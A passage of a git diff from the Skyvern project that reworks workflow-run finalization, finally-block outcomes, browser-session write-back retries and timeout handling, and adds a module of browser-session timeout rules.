@@ -3255,8 +3266,10 @@ class WorkflowService:
workflow_run = await self.mark_workflow_run_as_timed_out(
workflow_run_id=workflow_run_id,
failure_reason=pre_finally_failure_reason,
+ fallback_workflow_run=workflow_run,
)
pre_finally_status = WorkflowRunStatus.timed_out
+ pre_finally_browser_persistence_status = pre_finally_status
return workflow_run
post_run_timeout_seconds = _get_workflow_run_max_elapsed_timeout_seconds(workflow_run)
@@ -3273,6 +3286,7 @@ class WorkflowService:
pre_finally_failure_reason=pre_finally_failure_reason,
timeout_failure_reason=_require_elapsed_timeout_failure_reason(timeout_failure_reason),
)
+ pre_finally_browser_persistence_status = pre_finally_status
return workflow_run
post_run_timeout_context = asyncio.timeout(post_run_timeout_seconds)
@@ -3291,6 +3305,7 @@ class WorkflowService:
pre_finally_status = workflow_run.status
pre_finally_failure_reason = workflow_run.failure_reason
+ pre_finally_browser_persistence_status = pre_finally_status
# Statuses that always skip script generation
skip_statuses = {WorkflowRunStatus.canceled, WorkflowRunStatus.failed, WorkflowRunStatus.timed_out}
@@ -3380,12 +3395,52 @@ class WorkflowService:
status=WorkflowRunStatus.running,
failure_reason=None,
)
- await self._execute_finally_block_if_configured(
+ finally_block_execution = await self._execute_finally_block_if_configured(
workflow=workflow,
workflow_run=workflow_run,
organization=organization,
browser_session_id=browser_session_id,
)
+ if finally_block_execution is not None:
+ finally_block, finally_block_result = finally_block_execution
+ assert pre_finally_status is not None
+ status_before_finally_result = pre_finally_status
+ failure_reason_before_finally_result = pre_finally_failure_reason
+ (
+ finally_target_status,
+ finally_failure_reason,
+ finally_failure_category,
+ ) = self._resolve_block_terminal_outcome(
+ block=finally_block,
+ block_result=finally_block_result,
+ )
+ if not status_before_finally_result.is_final() and finally_target_status is not None:
+ # Keep the terminal outcome as intent until browser
+ # cleanup/write-back has landed. Sequential dependents
+ # remain blocked while this row is still running.
+ pre_finally_status = finally_target_status
+ pre_finally_failure_reason = finally_failure_reason
+ pre_finally_failure_category = (
+ finally_failure_category
+ if finally_failure_category is not None
+ else self._classify_workflow_terminal_failure(
+ finally_target_status,
+ finally_failure_reason,
+ )
+ )
+ finally_block_set_terminal_outcome = True
+ (
+ workflow_run,
+ pre_finally_status,
+ pre_finally_failure_reason,
+ ) = await self._apply_finally_block_result(
+ block=finally_block,
+ block_result=finally_block_result,
+ workflow_run=workflow_run,
+ pre_finally_status=status_before_finally_result,
+ pre_finally_failure_reason=failure_reason_before_finally_result,
+ defer_status_write=True,
+ )
except TimeoutError:
if not post_run_timeout_context.expired():
raise
@@ -3401,6 +3456,10 @@ class WorkflowService:
pre_finally_failure_reason=pre_finally_failure_reason,
timeout_failure_reason=_require_elapsed_timeout_failure_reason(timeout_failure_reason),
)
+ if pre_finally_browser_persistence_status is None:
+ # A timeout before the body outcome was captured must retain
+ # the terminal guard instead of treating ``None`` as success.
+ pre_finally_browser_persistence_status = pre_finally_status
finally:
# Shielded finalize runs even when the try body was cancelled
# mid-flight (e.g. the copilot tool's orphan-task cancel path, or
@@ -3411,45 +3470,84 @@ class WorkflowService:
# still ``None`` (cancellation landed before block execution
# completed), there's no captured intent to restore and we skip.
browser_cleanup_result: WorkflowBrowserCleanupResult | None = None
+ browser_persistence_status: WorkflowRunStatus | None = None
+ browser_write_back_exhausted = False
if pre_finally_status is not None:
- if workflow.persist_browser_session and pre_finally_status not in (
- WorkflowRunStatus.canceled,
- WorkflowRunStatus.failed,
- WorkflowRunStatus.terminated,
- WorkflowRunStatus.timed_out,
- ):
+ browser_persistence_status = pre_finally_browser_persistence_status
+ if browser_persistence_status is not None and not browser_persistence_status.is_final():
+ browser_persistence_status = WorkflowRunStatus.completed
+ if browser_persistence_status == WorkflowRunStatus.completed:
try:
- # Sequential dependency gates clear on terminal status, so persisted profile state must land first.
- browser_cleanup_result = await self._clean_up_workflow_browser(
- workflow_run=workflow_run,
- close_browser_on_completion=close_browser_on_completion,
- browser_session_id=browser_session_id,
- )
+ current_workflow_run = await self.get_workflow_run(workflow_run_id=workflow_run_id)
except BaseException:
+ # Healthy-only persistence (including credential banking)
+ # must never trust a stale nonterminal snapshot.
LOG.warning(
- "Pre-finalization browser cleanup failed during execute_workflow cleanup",
+ "Failed to refresh workflow run before healthy browser write-back",
workflow_run_id=workflow_run_id,
exc_info=True,
)
- if browser_cleanup_result is not None:
+ browser_persistence_status = None
+ browser_write_back_exhausted = True
+ else:
+ workflow_run = current_workflow_run
+ if current_workflow_run.status.is_final():
+ # An out-of-band timeout/cancellation won before
+ # cleanup. Preserve its status and do not bank state
+ # as if this were a healthy completion.
+ browser_persistence_status = current_workflow_run.status
+
+ if browser_persistence_status == WorkflowRunStatus.completed:
+ # Sequential dependency gates clear on terminal status, so every
+ # browser write-back attempt (including the retry) must finish first.
+ for write_back_attempt in range(2):
+ if browser_cleanup_result is None:
+ try:
+ browser_cleanup_result = await self._clean_up_workflow_browser(
+ workflow_run=workflow_run,
+ close_browser_on_completion=close_browser_on_completion,
+ browser_session_id=browser_session_id,
+ )
+ except BaseException:
+ LOG.warning(
+ "Pre-finalization browser cleanup failed during execute_workflow cleanup",
+ workflow_run_id=workflow_run_id,
+ write_back_attempt=write_back_attempt + 1,
+ exc_info=True,
+ )
+ if write_back_attempt == 1:
+ browser_write_back_exhausted = True
+ continue
try:
+ current_workflow_run = await self.get_workflow_run(workflow_run_id=workflow_run_id)
+ workflow_run = current_workflow_run
+ if current_workflow_run.status.is_final():
+ browser_persistence_status = current_workflow_run.status
+ break
async with asyncio.timeout(BROWSER_SESSION_WRITE_BACK_TIMEOUT):
await self._persist_workflow_browser_session_if_needed(
workflow=workflow,
workflow_run=workflow_run,
browser_state=browser_cleanup_result.browser_state,
close_browser_on_completion=browser_cleanup_result.close_browser_on_completion,
- workflow_run_status=WorkflowRunStatus.completed,
+ workflow_run_status=browser_persistence_status,
)
# Only suppress clean_up_workflow's write-back once this one has
- # actually persisted; a failed/timed-out attempt must still be retried.
+ # actually persisted.
browser_cleanup_result.browser_session_write_back_attempted = True
+ break
except BaseException:
LOG.warning(
"Pre-finalization browser session write-back failed during execute_workflow cleanup",
workflow_run_id=workflow_run_id,
+ write_back_attempt=write_back_attempt + 1,
exc_info=True,
)
+ if write_back_attempt == 1:
+ # Do not start another write-back after terminalizing the
+ # run; a sequential dependent could otherwise read while
+ # this predecessor is still updating its profile.
+ browser_write_back_exhausted = True
try:
workflow_run = await asyncio.shield(
self._finalize_workflow_run_status(
@@ -3457,6 +3555,7 @@ class WorkflowService:
workflow_run=workflow_run,
pre_finally_status=pre_finally_status,
pre_finally_failure_reason=pre_finally_failure_reason,
+ pre_finally_failure_category=pre_finally_failure_category,
)
)
except BaseException:
@@ -3521,6 +3620,9 @@ class WorkflowService:
close_browser_on_completion=close_browser_on_completion,
need_call_webhook=need_call_webhook,
browser_cleanup_result=browser_cleanup_result,
+ browser_persistence_status=browser_persistence_status,
+ skip_browser_session_write_back=browser_write_back_exhausted,
+ schedule_credential_fallback_retry=not finally_block_set_terminal_outcome,
)
return workflow_run
@@ -5561,6 +5663,13 @@ class WorkflowService:
workflow_run: WorkflowRun,
workflow_run_id: str,
) -> tuple[WorkflowRun, bool]:
+ if block_result.status not in (
+ BlockStatus.canceled,
+ BlockStatus.failed,
+ BlockStatus.terminated,
+ BlockStatus.timed_out,
+ ):
+ return workflow_run, False
if block_result.status == BlockStatus.canceled:
LOG.info(
f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} was canceled for workflow run {workflow_run_id}, cancelling workflow run",
@@ -5573,6 +5682,12 @@ class WorkflowService:
)
workflow_run = await self.mark_workflow_run_as_canceled(workflow_run_id=workflow_run_id)
return workflow_run, True
+ target_status, failure_reason, task_failure_category = self._resolve_block_terminal_outcome(
+ block=block,
+ block_result=block_result,
+ )
+ # The resolver returns no target for ``continue_on_failure``. Keep the
+ # status-specific early returns below so each case retains its useful log.
if block_result.status == BlockStatus.failed:
# Run-level outcome, recorded as the run's failure_reason below; not a platform fault.
LOG.warning(
@@ -5584,31 +5699,18 @@ class WorkflowService:
block_type_var=block.block_type,
block_label=block.label,
)
- if not block.continue_on_failure:
- failure_reason = f"{block.block_type} block failed. failure reason: {block_result.failure_reason}"
- task_failure_category = (
- block_result.output_parameter_value.get("failure_category")
- if isinstance(block_result.output_parameter_value, dict)
- else None
- )
- workflow_run = await self.mark_workflow_run_as_failed(
+ if block.continue_on_failure:
+ LOG.warning(
+ f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} failed but will continue executing the workflow run {workflow_run_id}",
+ block_type=block.block_type,
workflow_run_id=workflow_run_id,
- failure_reason=failure_reason,
- failure_category=task_failure_category,
+ block_idx=block_idx,
+ block_result=block_result,
+ continue_on_failure=block.continue_on_failure,
+ block_type_var=block.block_type,
+ block_label=block.label,
)
- return workflow_run, True
-
- LOG.warning(
- f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} failed but will continue executing the workflow run {workflow_run_id}",
- block_type=block.block_type,
- workflow_run_id=workflow_run_id,
- block_idx=block_idx,
- block_result=block_result,
- continue_on_failure=block.continue_on_failure,
- block_type_var=block.block_type,
- block_label=block.label,
- )
- return workflow_run, False
+ return workflow_run, False
if block_result.status == BlockStatus.terminated:
LOG.info(
@@ -5621,31 +5723,18 @@ class WorkflowService:
block_label=block.label,
)
- if not block.continue_on_failure:
- failure_reason = f"{block.block_type} block terminated. Reason: {block_result.failure_reason}"
- task_failure_category = (
- block_result.output_parameter_value.get("failure_category")
- if isinstance(block_result.output_parameter_value, dict)
- else None
- )
- workflow_run = await self.mark_workflow_run_as_terminated(
+ if block.continue_on_failure:
+ LOG.warning(
+ f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} was terminated for workflow run {workflow_run_id}, but will continue executing the workflow run",
+ block_type=block.block_type,
workflow_run_id=workflow_run_id,
- failure_reason=failure_reason,
- failure_category=task_failure_category,
+ block_idx=block_idx,
+ block_result=block_result,
+ continue_on_failure=block.continue_on_failure,
+ block_type_var=block.block_type,
+ block_label=block.label,
)
- return workflow_run, True
-
- LOG.warning(
- f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} was terminated for workflow run {workflow_run_id}, but will continue executing the workflow run",
- block_type=block.block_type,
- workflow_run_id=workflow_run_id,
- block_idx=block_idx,
- block_result=block_result,
- continue_on_failure=block.continue_on_failure,
- block_type_var=block.block_type,
- block_label=block.label,
- )
- return workflow_run, False
+ return workflow_run, False
if block_result.status == BlockStatus.timed_out:
LOG.info(
@@ -5658,33 +5747,132 @@ class WorkflowService:
block_label=block.label,
)
- if not block.continue_on_failure:
- failure_reason = f"{block.block_type} block timed out. Reason: {block_result.failure_reason}"
- task_failure_category = (
- block_result.output_parameter_value.get("failure_category")
- if isinstance(block_result.output_parameter_value, dict)
- else None
- )
- workflow_run = await self.mark_workflow_run_as_failed(
+ if block.continue_on_failure:
+ LOG.warning(
+ f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} timed out for workflow run {workflow_run_id}, but will continue executing the workflow run",
+ block_type=block.block_type,
workflow_run_id=workflow_run_id,
- failure_reason=failure_reason,
- failure_category=task_failure_category,
+ block_idx=block_idx,
+ block_result=block_result,
+ continue_on_failure=block.continue_on_failure,
+ block_type_var=block.block_type,
+ block_label=block.label,
)
- return workflow_run, True
+ return workflow_run, False
+ if target_status == WorkflowRunStatus.failed:
+ workflow_run = await self.mark_workflow_run_as_failed(
+ workflow_run_id=workflow_run_id,
+ failure_reason=failure_reason,
+ failure_category=task_failure_category,
+ )
+ elif target_status == WorkflowRunStatus.terminated:
+ workflow_run = await self.mark_workflow_run_as_terminated(
+ workflow_run_id=workflow_run_id,
+ failure_reason=failure_reason,
+ failure_category=task_failure_category,
+ )
+ else:
LOG.warning(
- f"Block with type {block.block_type} at index {block_idx}/{blocks_cnt - 1} timed out for workflow run {workflow_run_id}, but will continue executing the workflow run",
- block_type=block.block_type,
+ "Block terminal outcome did not map to a workflow terminal status",
workflow_run_id=workflow_run_id,
- block_idx=block_idx,
- block_result=block_result,
- continue_on_failure=block.continue_on_failure,
- block_type_var=block.block_type,
- block_label=block.label,
+ block_status=block_result.status,
+ target_status=target_status,
)
return workflow_run, False
+ return workflow_run, True
+
+ @staticmethod
+ def _resolve_block_terminal_outcome(
+ *,
+ block: BlockTypeVar,
+ block_result: BlockResult,
+ ) -> tuple[WorkflowRunStatus | None, str | None, list[dict] | None]:
+ failure_category = (
+ block_result.output_parameter_value.get("failure_category")
+ if isinstance(block_result.output_parameter_value, dict)
+ else None
+ )
- return workflow_run, False
+ if block_result.status == BlockStatus.canceled:
+ # Cancellation is never recoverable via continue_on_failure, matching normal block execution.
+ return WorkflowRunStatus.canceled, None, failure_category
+ if block.continue_on_failure:
+ return None, None, None
+ if block_result.status == BlockStatus.failed:
+ failure_reason = f"{block.block_type} block failed. failure reason: {block_result.failure_reason}"
+ return WorkflowRunStatus.failed, failure_reason, failure_category
+ if block_result.status == BlockStatus.terminated:
+ failure_reason = f"{block.block_type} block terminated. Reason: {block_result.failure_reason}"
+ return WorkflowRunStatus.terminated, failure_reason, failure_category
+ if block_result.status == BlockStatus.timed_out:
+ # A block timeout is a block failure; timed_out is reserved for the workflow's elapsed-time limit.
+ failure_reason = f"{block.block_type} block timed out. Reason: {block_result.failure_reason}"
+ return WorkflowRunStatus.failed, failure_reason, failure_category
+ return None, None, None
+
+ @staticmethod
+ def _classify_workflow_terminal_failure(
+ status: WorkflowRunStatus,
+ failure_reason: str | None,
+ ) -> list[dict] | None:
+ if status in (WorkflowRunStatus.failed, WorkflowRunStatus.timed_out):
+ return classify_from_failure_reason(failure_reason, fallback_to_unknown=True)
+ if status == WorkflowRunStatus.terminated:
+ # Termination may be user-guided, so an unknown category is optional.
+ return classify_from_failure_reason(failure_reason)
+ return None
+
+ async def _apply_finally_block_result(
+ self,
+ *,
+ block: BlockTypeVar,
+ block_result: BlockResult,
+ workflow_run: WorkflowRun,
+ pre_finally_status: WorkflowRunStatus,
+ pre_finally_failure_reason: str | None,
+ defer_status_write: bool = False,
+ ) -> tuple[WorkflowRun, WorkflowRunStatus, str | None]:
+ if pre_finally_status.is_final():
+ return workflow_run, pre_finally_status, pre_finally_failure_reason
+
+ target_status, failure_reason, failure_category = self._resolve_block_terminal_outcome(
+ block=block,
+ block_result=block_result,
+ )
+ if target_status is None:
+ return workflow_run, pre_finally_status, pre_finally_failure_reason
+
+ if failure_category is None:
+ failure_category = self._classify_workflow_terminal_failure(target_status, failure_reason)
+
+ LOG.info(
+ "Resolved finally block terminal outcome",
+ workflow_run_id=workflow_run.workflow_run_id,
+ block_type=block.block_type,
+ block_label=block.label,
+ block_status=block_result.status,
+ workflow_status=target_status,
+ deferred=defer_status_write,
+ )
+ if defer_status_write:
+ return workflow_run, target_status, failure_reason
+
+ updated_workflow_run = await self._update_workflow_run_status_if_not_final(
+ workflow_run_id=workflow_run.workflow_run_id,
+ status=target_status,
+ failure_reason=failure_reason,
+ failure_category=failure_category,
+ )
+ if updated_workflow_run is not None:
+ otel_trace.get_current_span().set_attribute("task.completion_status", target_status)
+ return updated_workflow_run, target_status, updated_workflow_run.failure_reason
+
+ current_workflow_run = await self._current_row_after_lost_finalize(
+ workflow_run.workflow_run_id,
+ workflow_run,
+ )
+ return current_workflow_run, current_workflow_run.status, current_workflow_run.failure_reason
async def _execute_finally_block_if_configured(
self,
@@ -5692,10 +5880,10 @@ class WorkflowService:
workflow_run: WorkflowRun,
organization: Organization,
browser_session_id: str | None,
- ) -> None:
+ ) -> tuple[BlockTypeVar, BlockResult] | None:
finally_block_label = workflow.workflow_definition.finally_block_label
if not finally_block_label:
- return
+ return None
label_to_block: dict[str, BlockTypeVar] = {block.label: block for block in workflow.workflow_definition.blocks}
@@ -5706,18 +5894,19 @@ class WorkflowService:
workflow_run_id=workflow_run.workflow_run_id,
finally_block_label=finally_block_label,
)
- return
+ return None
try:
parameters = block.get_all_parameters(workflow_run.workflow_run_id)
await app.WORKFLOW_CONTEXT_MANAGER.register_block_parameters_for_workflow_run(
workflow_run.workflow_run_id, parameters, organization
)
- await block.execute_safe(
+ block_result = await block.execute_safe(
workflow_run_id=workflow_run.workflow_run_id,
organization_id=organization.organization_id,
browser_session_id=browser_session_id,
)
+ return block, block_result
except Exception as e:
LOG.warning(
"Finally block execution failed",
@@ -5725,6 +5914,12 @@ class WorkflowService:
block_label=block.label,
error=str(e),
)
+ return block, BlockResult(
+ success=False,
+ output_parameter=block.output_parameter,
+ status=BlockStatus.failed,
+ failure_reason=get_user_facing_exception_message(e),
+ )
@staticmethod
def _strip_finally_block_references(
@@ -6992,6 +7187,7 @@ class WorkflowService:
workflow_run_id: str,
status: WorkflowRunStatus,
failure_reason: str | None = None,
+ run_with: str | None = None,
failure_category: list[dict] | None = None,
) -> WorkflowRun | None:
""":meth:`_update_workflow_run_status` for writers that must lose a race against the
@@ -7000,6 +7196,7 @@ class WorkflowService:
workflow_run_id=workflow_run_id,
status=status,
failure_reason=failure_reason,
+ run_with=run_with,
failure_category=failure_category,
)
if workflow_run is None:
@@ -7007,6 +7204,26 @@ class WorkflowService:
await self._after_workflow_run_status_write(workflow_run, status)
return workflow_run
+ async def _finish_preexisting_timed_out_workflow_run(
+ self,
+ workflow_run_id: str,
+ failure_reason: str | None = None,
+ run_with: str | None = None,
+ failure_category: list[dict] | None = None,
+ ) -> WorkflowRun | None:
+ workflow_run = await app.DATABASE.workflow_runs.finish_preexisting_timed_out_workflow_run(
+ workflow_run_id=workflow_run_id,
+ failure_reason=failure_reason,
+ run_with=run_with,
+ failure_category=failure_category,
+ )
+ if workflow_run is None:
+ return None
+ # Bulk stuck-run cleanup writes only the status. Complete that deferred
+ # terminal transition exactly once, when ``finished_at`` is still null.
+ await self._after_workflow_run_status_write(workflow_run, WorkflowRunStatus.timed_out)
+ return workflow_run
+
async def _after_workflow_run_status_write(self, workflow_run: WorkflowRun, status: WorkflowRunStatus) -> None:
workflow_run_id = workflow_run.workflow_run_id
if status.is_final():
@@ -7107,6 +7324,7 @@ class WorkflowService:
workflow_run: WorkflowRun,
pre_finally_status: WorkflowRunStatus,
pre_finally_failure_reason: str | None,
+ pre_finally_failure_category: list[dict] | None = None,
) -> WorkflowRun:
"""
Set final workflow run status based on pre-finally state.
@@ -7132,11 +7350,12 @@ class WorkflowService:
return updated
return await self._current_row_after_lost_finalize(workflow_run_id, workflow_run)
- if workflow_run.status == WorkflowRunStatus.running:
+ if not workflow_run.status.is_final():
updated = await self._update_workflow_run_status_if_not_final(
workflow_run_id=workflow_run_id,
status=pre_finally_status,
failure_reason=pre_finally_failure_reason,
+ failure_category=pre_finally_failure_category,
)
if updated is None:
return await self._current_row_after_lost_finalize(workflow_run_id, workflow_run)
@@ -7183,7 +7402,10 @@ class WorkflowService:
# Auto-classify if no explicit category provided
failure_category_source = "inherited_from_task" if failure_category is not None else "code_level"
if failure_category is None:
- failure_category = classify_from_failure_reason(failure_reason, fallback_to_unknown=True)
+ failure_category = self._classify_workflow_terminal_failure(
+ WorkflowRunStatus.failed,
+ failure_reason,
+ )
LOG.info(
"Workflow run failure classified",
@@ -7224,7 +7446,10 @@ class WorkflowService:
Children cascade only on the transition this call actually won.
"""
if failure_category is None:
- failure_category = classify_from_failure_reason(failure_reason, fallback_to_unknown=True)
+ failure_category = self._classify_workflow_terminal_failure(
+ WorkflowRunStatus.failed,
+ failure_reason,
+ )
workflow_run = await self._update_workflow_run_status_if_not_final(
workflow_run_id=workflow_run_id,
@@ -7316,7 +7541,10 @@ class WorkflowService:
# may be user-guided (e.g. terminate_criterion matched), so None is acceptable.
failure_category_source = "inherited_from_task" if failure_category is not None else "code_level"
if failure_category is None:
- failure_category = classify_from_failure_reason(failure_reason)
+ failure_category = self._classify_workflow_terminal_failure(
+ WorkflowRunStatus.terminated,
+ failure_reason,
+ )
LOG.info(
"Workflow run failure classified",
@@ -7430,6 +7658,7 @@ class WorkflowService:
workflow_run_id: str,
failure_reason: str | None = None,
run_with: str | None = None,
+ fallback_workflow_run: WorkflowRun | None = None,
) -> WorkflowRun:
LOG.info(
f"Marking workflow run {workflow_run_id} as timed out",
@@ -7437,10 +7666,10 @@ class WorkflowService:
workflow_status="timed_out",
)
- # Add workflow timed out tag to trace
- otel_trace.get_current_span().set_attribute("task.completion_status", WorkflowRunStatus.timed_out)
-
- failure_category = classify_from_failure_reason(failure_reason, fallback_to_unknown=True)
+ failure_category = self._classify_workflow_terminal_failure(
+ WorkflowRunStatus.timed_out,
+ failure_reason,
+ )
LOG.info(
"Workflow run failure classified",
workflow_run_id=workflow_run_id,
@@ -7450,15 +7679,41 @@ class WorkflowService:
failure_category_source="code_level",
)
- workflow_run = await self._update_workflow_run_status(
+ updated_workflow_run = await self._update_workflow_run_status_if_not_final(
workflow_run_id=workflow_run_id,
status=WorkflowRunStatus.timed_out,
failure_reason=failure_reason,
run_with=run_with,
failure_category=failure_category,
)
+ if updated_workflow_run is None:
+ # The CAS lost to a terminal writer, so only a fresh row can identify
+ # the winner. A supplied fallback is necessarily stale here; if the
+ # refresh fails, propagate so the timeout activity retries the repair
+ # and child cascade instead of accepting a nonterminal fallback.
+ current_workflow_run = await self.get_workflow_run(workflow_run_id=workflow_run_id)
+ if current_workflow_run.status != WorkflowRunStatus.timed_out:
+ return current_workflow_run
+
+ enriched_workflow_run = await self._finish_preexisting_timed_out_workflow_run(
+ workflow_run_id=workflow_run_id,
+ failure_reason=failure_reason,
+ run_with=run_with,
+ failure_category=failure_category,
+ )
+ if enriched_workflow_run is not None:
+ updated_workflow_run = enriched_workflow_run
+ else:
+ updated_workflow_run = await self._current_row_after_lost_finalize(
+ workflow_run_id,
+ current_workflow_run,
+ )
+ if updated_workflow_run.status != WorkflowRunStatus.timed_out:
+ return updated_workflow_run
+
+ otel_trace.get_current_span().set_attribute("task.completion_status", WorkflowRunStatus.timed_out)
await self._cascade_child_entities_on_terminal(workflow_run_id, WorkflowRunStatus.timed_out)
- return workflow_run
+ return updated_workflow_run
async def get_workflow_run(self, workflow_run_id: str, organization_id: str | None = None) -> WorkflowRun:
workflow_run = await app.DATABASE.workflow_runs.get_workflow_run(
@@ -8454,6 +8709,9 @@ class WorkflowService:
need_call_webhook: bool = True,
browser_session_id: str | None = None,
browser_cleanup_result: WorkflowBrowserCleanupResult | None = None,
+ browser_persistence_status: WorkflowRunStatus | None = None,
+ skip_browser_session_write_back: bool = False,
+ schedule_credential_fallback_retry: bool = True,
) -> None:
analytics.capture("skyvern-oss-agent-workflow-status", {"status": workflow_run.status})
if browser_cleanup_result is None:
@@ -8475,12 +8733,16 @@ class WorkflowService:
)
if tasks:
await self.persist_debug_artifacts(browser_state, tasks[-1], workflow, workflow_run)
- if not browser_cleanup_result.browser_session_write_back_attempted:
+ if (
+ not browser_cleanup_result.browser_session_write_back_attempted
+ and not skip_browser_session_write_back
+ ):
await self._persist_workflow_browser_session_if_needed(
workflow=workflow,
workflow_run=workflow_run,
browser_state=browser_state,
close_browser_on_completion=close_browser_on_completion,
+ workflow_run_status=browser_persistence_status,
)
await app.ARTIFACT_MANAGER.wait_for_upload_aiotasks(all_workflow_task_ids)
@@ -8540,13 +8802,15 @@ class WorkflowService:
for child_workflow_run_id in child_workflow_run_ids:
app.WORKFLOW_CONTEXT_MANAGER.remove_workflow_run_context(child_workflow_run_id)
- # Schedule the credential fallback retry only after this run's cleanup (artifact/video
+ # When eligible, schedule the credential fallback retry only after this run's cleanup (artifact/video
# persistence, browser/session write-back, webhook) has run, so the replacement run
# cannot overlap it and race browser-profile/session writes. In the finally wrapping the
# whole cleanup sequence — not after it — so an exception in any cleanup step can't skip
# it; scheduling was removed from the status markers, which fired before cleanup and for
- # cascade/reaper failures that never reach cleanup. A no-op for non-eligible runs.
- self._schedule_credential_fallback_retry(workflow_run)
+ # cascade/reaper failures that never reach cleanup. Finally-only failures explicitly
+ # suppress it because replaying the workflow cannot repair post-run cleanup.
+ if schedule_credential_fallback_retry:
+ self._schedule_credential_fallback_retry(workflow_run)
async def prepare_workflow_webhook(
self,
diff --git a/skyvern/schemas/browser_session_timeouts.py b/skyvern/schemas/browser_session_timeouts.py
new file mode 100644
index 000000000..7564af240
--- /dev/null
+++ b/skyvern/schemas/browser_session_timeouts.py
@@ -0,0 +1,64 @@
+"""Timeout and liveness policy for persistent browser sessions.
+
+Kept dependency-free on purpose: the CDP proxy connect gate and the session worker
+share these rules without pulling the heavier ``browser_sessions`` schema module
+(workflow/recording types) into their import graphs.
+"""
+
+from __future__ import annotations
+
+MIN_TIMEOUT = 5
+MAX_TIMEOUT = 60 * 24 # 24 hours
+MAX_LIFETIME_SECONDS = MAX_TIMEOUT * 60
+DEFAULT_TIMEOUT = 60
+
+
+def seconds_until_expiry(
+ *,
+ seconds_since_start: float,
+ base_timeout_seconds: float,
+ seconds_since_last_activity: float | None,
+ idle_timeout_seconds: float,
+ max_lifetime_seconds: float = MAX_LIFETIME_SECONDS,
+) -> float:
+ """Remaining lifetime under the base, activity, and hard-cap deadlines."""
+ lease_remaining_seconds = base_timeout_seconds - seconds_since_start
+ if seconds_since_last_activity is not None:
+ lease_remaining_seconds = max(
+ lease_remaining_seconds,
+ idle_timeout_seconds - seconds_since_last_activity,
+ )
+ hard_cap_remaining_seconds = max_lifetime_seconds - seconds_since_start
+ return min(lease_remaining_seconds, hard_cap_remaining_seconds)
+
+
+def session_is_active(
+ *,
+ seconds_since_start: float,
+ base_timeout_seconds: float,
+ seconds_since_last_activity: float | None,
+ idle_timeout_seconds: float,
+ max_lifetime_seconds: float = MAX_LIFETIME_SECONDS,
+) -> bool:
+ """Whether a persistent browser session should still be treated as alive.
+
+ A session lives until its base timeout; past that it stays alive only while it
+ keeps seeing activity (every client CDP command refreshes its last-activity mark),
+ idling out ``idle_timeout_seconds`` after the last one. A hard lifetime cap
+ overrides both so an actively-driven session cannot be renewed forever.
+
+ Inputs are elapsed durations in seconds so the wall-clock connect gate and the
+ monotonic worker loop can share one policy. ``seconds_since_last_activity`` is
+ None when the session has never recorded activity, in which case only the base
+ timeout keeps it alive — preserving the pre-activity behavior exactly.
+ """
+ return (
+ seconds_until_expiry(
+ seconds_since_start=seconds_since_start,
+ base_timeout_seconds=base_timeout_seconds,
+ seconds_since_last_activity=seconds_since_last_activity,
+ idle_timeout_seconds=idle_timeout_seconds,
+ max_lifetime_seconds=max_lifetime_seconds,
+ )
+ > 0
+ )
diff --git a/skyvern/schemas/browser_sessions.py b/skyvern/schemas/browser_sessions.py
index 0c8fbcef6..4a38060f0 100644
--- a/skyvern/schemas/browser_sessions.py
+++ b/skyvern/schemas/browser_sessions.py
@@ -3,15 +3,12 @@ from pydantic import BaseModel, Field, field_validator
from skyvern.client.types.workflow_definition_yaml_blocks_item import WorkflowDefinitionYamlBlocksItem
from skyvern.client.types.workflow_definition_yaml_parameters_item import WorkflowDefinitionYamlParametersItem_Workflow
from skyvern.forge.sdk.schemas.persistent_browser_sessions import Extensions, PersistentBrowserType
+from skyvern.schemas.browser_session_timeouts import DEFAULT_TIMEOUT, MAX_TIMEOUT, MIN_TIMEOUT
from skyvern.schemas.docs.doc_strings import PROXY_LOCATION_DOC_STRING
from skyvern.schemas.proxy_pinning import validate_proxy_session_id
from skyvern.schemas.runs import GeoTarget, ProxyLocationInput
from skyvern.services.browser_recording.types import RecordingDraftStep
-MIN_TIMEOUT = 5
-MAX_TIMEOUT = 60 * 24 # 24 hours
-DEFAULT_TIMEOUT = 60
-
class CreateBrowserSessionRequest(BaseModel):
timeout: int | None = Field(
diff --git a/skyvern/services/task_v2_service.py b/skyvern/services/task_v2_service.py
index af7dec9d2..1810f8ba2 100644
--- a/skyvern/services/task_v2_service.py
+++ b/skyvern/services/task_v2_service.py
@@ -1,7 +1,9 @@
+import ast
import asyncio
import copy
import json
import string
+import textwrap
from datetime import UTC, datetime
from typing import Any
@@ -43,8 +45,10 @@ from skyvern.forge.sdk.schemas.task_v2 import (
)
from skyvern.forge.sdk.schemas.workflow_runs import WorkflowRunTimeline, WorkflowRunTimelineType
from skyvern.forge.sdk.trace import traced
+from skyvern.forge.sdk.workflow.exceptions import InsecureCodeDetected
from skyvern.forge.sdk.workflow.models.block import (
BlockTypeVar,
+ CodeBlock,
ExtractionBlock,
ForLoopBlock,
NavigationBlock,
@@ -67,6 +71,7 @@ from skyvern.schemas.workflows import (
PARAMETER_YAML_TYPES,
BlockResult,
BlockStatus,
+ CodeBlockYAML,
ContextParameterYAML,
ExtractionBlockYAML,
ForLoopBlockYAML,
@@ -778,6 +783,10 @@ async def run_task_v2_helper(
max_steps = int_max_steps_override or settings.MAX_STEPS_PER_TASK_V2
max_iterations = _resolve_max_iterations(max_iterations_override)
+ # Only advertise the compute task type to the planner when CodeBlock execution is available
+ # for this org; otherwise the planner would emit compute steps that fail at execution.
+ compute_enabled = await app.AGENT_FUNCTION.has_code_block_access(organization_id)
+
# When TaskV2 is inside a loop, each loop iteration should get fresh attempts
# This is managed at the ForLoop level by calling run_task_v2 for each iteration
# The max_iterations limit applies to this single TaskV2 execution
@@ -905,6 +914,7 @@ async def run_task_v2_helper(
task_history=task_history,
open_tabs_context=open_tabs_context,
local_datetime=datetime.now(context.tz_info).isoformat(),
+ compute_enabled=compute_enabled,
)
thought = await app.DATABASE.observer.create_thought(
task_v2_id=task_v2_id,
@@ -1061,6 +1071,23 @@ async def run_task_v2_helper(
failure_reason="Failed to generate the loop.",
)
break
+ elif task_type == "compute":
+ try:
+ block, block_yaml_list, parameter_yaml_list = await _generate_compute_task(
+ task_v2=task_v2,
+ workflow_id=workflow_id,
+ plan=plan,
+ task_history=task_history,
+ )
+ task_history_record = {"type": task_type, "task": plan}
+ except Exception:
